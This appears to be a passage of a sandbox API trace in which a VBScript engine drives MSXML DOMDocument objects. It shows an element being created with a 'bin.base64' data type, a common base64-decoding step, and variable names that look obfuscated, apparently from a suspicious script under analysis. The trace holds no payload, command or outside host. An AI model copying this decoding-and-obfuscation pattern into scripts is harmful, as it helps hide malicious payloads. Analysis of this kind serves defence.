0x80004002 [0089.157] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0089.157] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0089.157] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 0x80004002 [0089.157] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.157] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.157] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0089.157] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0089.157] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0089.157] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0089.157] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.157] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.157] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.157] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0089.157] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0089.158] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.158] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.158] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.158] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.158] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0089.158] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0089.158] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.158] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.158] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.158] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x3 [0089.158] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0089.158] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153318 | out: ppvObject=0x153318*=0x0) returned 0x80004002 [0089.158] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153334 | out: ppvObject=0x153334*=0x1112bf0) returned 0x0 [0089.158] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0089.158] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0089.158] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0089.158] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0089.158] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.158] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.158] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0089.158] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0089.159] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0089.159] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0089.159] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.159] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.159] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.159] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0089.159] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0089.159] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.159] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.159] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.159] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.159] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0089.159] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0089.159] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0089.159] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.159] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.159] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x3 [0089.159] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x2 [0089.159] DOMDocument:IUnknown:QueryInterface (in: This=0x1112bf0, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1543c0 | out: ppvObject=0x1543c0*=0x1112bf0) returned 0x0 [0089.159] DOMDocument:IServiceProvider:QueryService (in: This=0x1112bf0, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0089.159] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154394 | out: ppvObject=0x154394*=0x83fd368) returned 0x0 [0089.160] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154390 | out: ppvObject=0x154390*=0x83fd378) returned 0x0 [0089.160] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0089.160] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0089.160] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0089.160] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x2 [0089.160] DOMDocument:IUnknown:Release (This=0x556ee4) returned 0x1 [0089.160] DOMDocument:IUnknown:QueryInterface (in: This=0x556eb8, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154454 | out: ppvObject=0x154454*=0x5553c0) returned 0x0 [0089.160] DOMDocument:IUnknown:AddRef (This=0x5553c0) returned 0x2 [0089.160] DOMDocument:IUnknown:Release (This=0x5553c0) returned 0x1 [0089.160] DOMDocument:IUnknown:Release (This=0x556eb8) returned 0x2 [0089.160] DOMDocument:IUnknown:QueryInterface (in: This=0x5553c0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x5553f4) returned 0x0 [0089.160] DOMDocument:IDispatchEx:GetDispId (in: This=0x5553f4, bstrName="CreateElement", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=41) returned 0x0 [0089.160] DOMDocument:IUnknown:Release (This=0x5553f4) returned 0x1 [0089.160] DOMDocument:IUnknown:AddRef (This=0x5553c0) returned 0x2 [0089.160] DOMDocument:IUnknown:QueryInterface (in: This=0x5553c0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x5553f4) returned 0x0 [0089.161] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5553f4, id=41, lcid=0x409, wFlags=0x3, pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x554700, varVal2=0x0), pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0089.161] DOMDocument:IUnknown:Release (This=0x5553f4) returned 0x2 [0089.161] DOMDocument:IUnknown:Release (This=0x5553c0) returned 0x1 [0089.161] DOMDocument:IUnknown:QueryInterface (in: This=0x554700, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154434 | out: ppvObject=0x154434*=0x5546e0) returned 0x0 [0089.161] DOMDocument:IUnknown:Release (This=0x554700) returned 0x1 [0089.161] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0089.161] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x0 [0089.161] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0089.163] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.163] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.163] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.163] GetCurrentThreadId () returned 0xd44 [0089.163] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.163] ??2@YAPAXI@Z () returned 0x86bfeb0 [0089.163] malloc (_Size=0x804) returned 0x83fc220 [0089.164] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0089.164] _wcsicmp (_String1="wslausfychks", _String2="age64Dicode") returned 22 [0089.164] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0089.164] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x5546e0) returned 0x0 [0089.164] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="DataType", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=26) returned 0x0 [0089.164] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0089.164] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0089.164] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x5546e0) returned 0x0 [0089.165] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=26, lcid=0x409, wFlags=0x4, pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x15, wReserved2=0x4a54, wReserved3=0x15, varVal1="bin.base64", varVal2=0x154a3c)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x15444c*(varType=0x8, wReserved1=0x15, wReserved2=0x4a54, wReserved3=0x15, varVal1="bin.base64", varVal2=0x154a3c)), rgdispidNamedArgs=([0]=0x15450c*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0089.165] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0089.165] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0089.165] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.165] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartyzx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.165] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartyzx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.165] GetCurrentThreadId () returned 0xd44 [0089.165] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.165] malloc (_Size=0x404) returned 0x11c29f0 [0089.166] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0089.166] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartx", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0089.166] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartx", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0089.166] GetCurrentThreadId () returned 0xd44 [0089.166] IUnknown:Release (This=0x11977a8) returned 0x7 [0089.166] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, 